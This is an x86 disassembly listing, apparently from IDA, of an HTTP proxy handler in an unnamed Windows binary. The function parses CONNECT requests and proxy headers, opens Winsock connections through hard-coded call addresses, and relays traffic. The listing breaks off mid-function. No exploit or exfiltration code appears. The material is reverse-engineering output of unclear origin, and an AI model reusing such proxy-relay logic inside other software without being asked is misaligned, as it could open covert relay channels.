arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445258
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445230 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F70
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi ; dword_50FACC
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445230 ; "\r\n"
		push	ecx
		call	edi ; dword_50FACC
		add	esp, 18h
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi ; dword_50FAF8
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C94 ; ":"
		push	eax
		call	esi ; dword_50FAF8
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445230 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi ; dword_50FC90
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
